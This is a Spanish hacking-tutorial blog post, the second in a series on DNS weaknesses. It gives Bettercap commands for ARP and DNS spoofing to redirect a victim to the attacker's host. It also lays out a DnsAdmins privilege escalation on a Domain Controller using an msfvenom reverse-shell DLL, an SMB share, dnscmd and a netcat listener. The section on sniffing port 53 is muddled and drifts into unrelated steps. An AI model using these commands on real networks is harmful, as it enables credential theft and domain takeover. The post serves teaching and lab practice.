Esta es la segunda parte del post sobre el protocolo DNS y sus vulnerabilidades. Si aun no has leído la primera parte, te recomiendo que lo hagas a través de este enlace.
En este post me centraré en hablarte de dos técnicas avanzadas de hacking relacionado con el protocolo DNS: en primer lugar, el conocido DNS Spoofing, con el que podemos corromper la cache del Resolver del DNS, y en segundo lugar, un ejemplo de cómo espiar el tráfico del puerto 53 UDP donde corre el servicio DNS.
DNS Spoofing
Este ataque consiste en alterar la cache DNS de forma que se redirije el tráfico original a un sitio web fraudulento. Una vez redirigido, lo normal en este tipo de ataques es que ese sitio web pregunte al usuario su usuario y contraseña y de esa forma robarlos. Dado que es muy sencillo clonar la pagina web original puesto que el código HTML es público, si se consigue un nombre de dominio similar al original, es muy fácil engañar al usuario.
Para realizar el DNS spoofing voy a utilizar la herramienta Bettercap 2
Una vez instalada, la ejecutamos y vemos los comandos básicos con help:
También podemos ver los módulos que tenemos activos, puesto que con esta herramienta también podemos realizar otros ataques como el arp spoofing o dhcp6 spoofing.
Para esta máquina vamos a activar tanto arp spoofing y dns spoofing. Para ello utilizamos los siguientes comandos:
- set arp.spoof.targets 172.16.10.138 <- ip víctima
- arp.spoof on
- set dns.spoof.domains sokar-dev <- dominio que queremos falsificar
- set dns.spoof.address 172.16.10.168 <- esta es mi ip
- set dns.spoof.all true
- dns.spoof on
- active
Cuando el usuario ejecuta este programa, este es el resultado antes de realizar el spoofing:
No existe ninguna entrada en su caché DNS que le indique en qué ip está el dominio sokar-dev.
Ahora, activamos el arp spoofing con los comandos que mostramos anteriormente, y activamos el servicio ssh en nuestra máquina con el comando service ssh start.
En los logs de la herramienta Bettercap podemos ver cómo está haciendo el spoofing:
Ahora, cuando la v´íctima ejecuta ese programa, podemos comprobar como se conecta al servicio SSH de nuestra dirección ip, consiguiendo así realizar con éxito el DNS Spoofing:
Espiar el tráfico del puerto 53 UDP
Veamos ahora cómo espiar las peticiones y respuestas que se mandan en el tráfico DNS. Para ello usaremos el siguiente programa: https://github.com/GhostPack/Seatbelt
Descubrimos el SSID de DNS Admin: de la siguiente máquina:
Si nos fijamos, el DNS no acaba en 500 algo, eso quiere decir que no es algo por defecto, como todos los usuarios que se ven encima, así que es algo que debemos investigar.
Vamos a hacer queries mediante rpcclient:
Si obtenemos las credenciales de este usuario y conseguimos una shell, podemos ejecutar código en el Domain Controller escalando privilegios. Una de las formas más sencillas de realizarlo es crear un dll malicioso y ejecutar con ese usuario el programa dnscmd.exe. Puedes ver como crear un dll malicioso en esta otra entrada de mi blog. Hagamos un breve paréntesis y repasemos rápidamente cómo se realizaría esta escalada en este caso concreto, partiendo de que tenemos acceso del usuario DNS Admin:
- Creamos el dll malicioso con msfvenom, especificando nuestra ip y el puerto por el que recibiremos la reverse shell.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f dll > privesc.dll
2. Levantamos un servidor SMB con impacket en nuestra máquina para transferir el archivo
python smbserver.py share ./
3. Añadimos el dll desde powershell con el usuario DNS Admin:
dnscmd /config /serverlevelplugindll \\\share\privesc.dll
4. Por último, nos ponemos a la escucha en el puerto que indicamos en el paso 1 y reiniciamos el servidor dns:
nc -lvnp sc.exe stop dns
sc.exe start dns
Con esto obtendremos una terminal de administrador (nt authority\system), habiendo realizado con exito la escalación de privilegios.
Probémoslo en esta máquina:
Espero que toda esta información sobre el protocolo DNS te haya sido de utilidad. Si te ha gustado, te recomiendo echarle un vistazo a las demás entradas bajo la categoría hacking de infraestructura, donde podrás encontrar las vulnerabilidades de protocolos como FTP, SSH, TELNET, WHOIS, etc. Nos vemos en próximas entregas con más vulnerabilidades de protocolos.
Lethani.
Be First to Comment